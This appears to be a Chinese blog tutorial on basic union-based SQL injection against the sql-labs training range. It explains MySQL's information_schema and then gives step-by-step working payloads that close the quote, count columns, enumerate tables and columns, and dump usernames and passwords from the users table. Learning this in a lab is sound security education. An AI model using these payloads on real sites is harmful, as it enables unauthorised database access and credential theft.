SQL注入基础教程

注:本篇不讲关于sql-labs的搭建,如有需要请私信我,我将会出一期详细的配置教程

数据库的结构

在学习数据库之前,我们首先要了解数据库的结构。
一般数据库由三个部分组成:
1.数据库
2.表
3.列

MySQL数据库默认有四个库
information_schema
mysql
performance_schema
test1.

简单介绍一下各库有何作用。
information_schema:
保存着数据库中所有数据库的信息。
其中需要记住有三个重要的表名
1.tables

table_schema列:存放着所有数据库的名字
table_name列:存放着所有数据库中表的名字

2.columns

columns_name列:存放着所有数据库的列名

3.schemata

schema_name列:存放着所有数据库的名字,只有数据库的名字

注:注入时常用information_schema库
mysql:
这是mysql的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。 不可以删除,不可轻易修改其中的信息
performance_schema:
mysql5.5 版本 新增了一个性能优化的引擎,performance_schema这个功能默认是关闭的。
test:
没有东西

注释符

在mysql中有- -和#两种注释符
注释符- -后需要跟空格才能使用,而注释符#后可以直接跟需要注释的内容
注:- -后也可以跟其他符号,效果一样。
在这里插入图片描述

SQL注入之基础注入

注:需要有sql-labs靶场,sql语句命令基础
首先介绍一下注入的两种类型:
1.数字型
2.字符型
首先在地址栏中输入?id=1,如图:
在这里插入图片描述

这就相当于在sql中执行了select * from users where id='1' limit 0,1;
OK,了解原理后我们开始判断注入的类型
在地址栏中输入?id=1 and 1=1,结果正常回显,输入?id=2,结果也正常回显
在这里插入图片描述
注意看,这里的?id=1 and 1=2,如果是数字型注入的话,这里会有一个逻辑判断,即1不等于2,这将会返回一个空值(Null),返回一个错误页面。
简单来说,就是如果报错,就是数字型注入,不报错就是字符型注入。
经过以上推断我们发现,这是一个字符型注入。
我们接着输入?id=1'
在这里插入图片描述

发现报错。
这里就要用到我们开头提到的注释符了。看红框处,near后面是报错的部分,这里的报错是用near’…'的格式,去掉外面的 ’ ’ 两个引号,我们得到 '1''
为什么会出现这种情况呢?
这是因为我在地址栏中写入的?id=1'相当于sql中执行的select * from users where id='1'' limit 0,1;
所以我们需要注释掉一个后面的引号。
写成:?id=1' --+
在这里插入图片描述
闭合成功,不再报错。
接下来就可以开始正式注入了。
确定有几列

?id=1' order by 3--+

未报错

?id=1' order by 4--+

报错
在这里插入图片描述

判断显示位

?id=-1' union select 1,2,3--+

在这里插入图片描述
注意:这里是?id=-1',如果还输入1,则会正常回显。
此步我们得知有两个显示位。
获取数据库的名称

?id=1' union select 1,2,database()--+

注:database()函数是用来返回数据库的名称的
在这里插入图片描述
这里得知数据库的名称为security。
查表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
注:group_concat函数可以将多行记录合并成一行,若不加此函数则只返回第一行记录。
成功获取
获取列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述
最后一步
爆表

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

在这里插入图片描述
结语:此篇只是一篇基础教程,想要获取网站的数据库或后台,并没有这么简单,后续会给大家出更高级的教程,只有多积累才会有更高的水准。

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值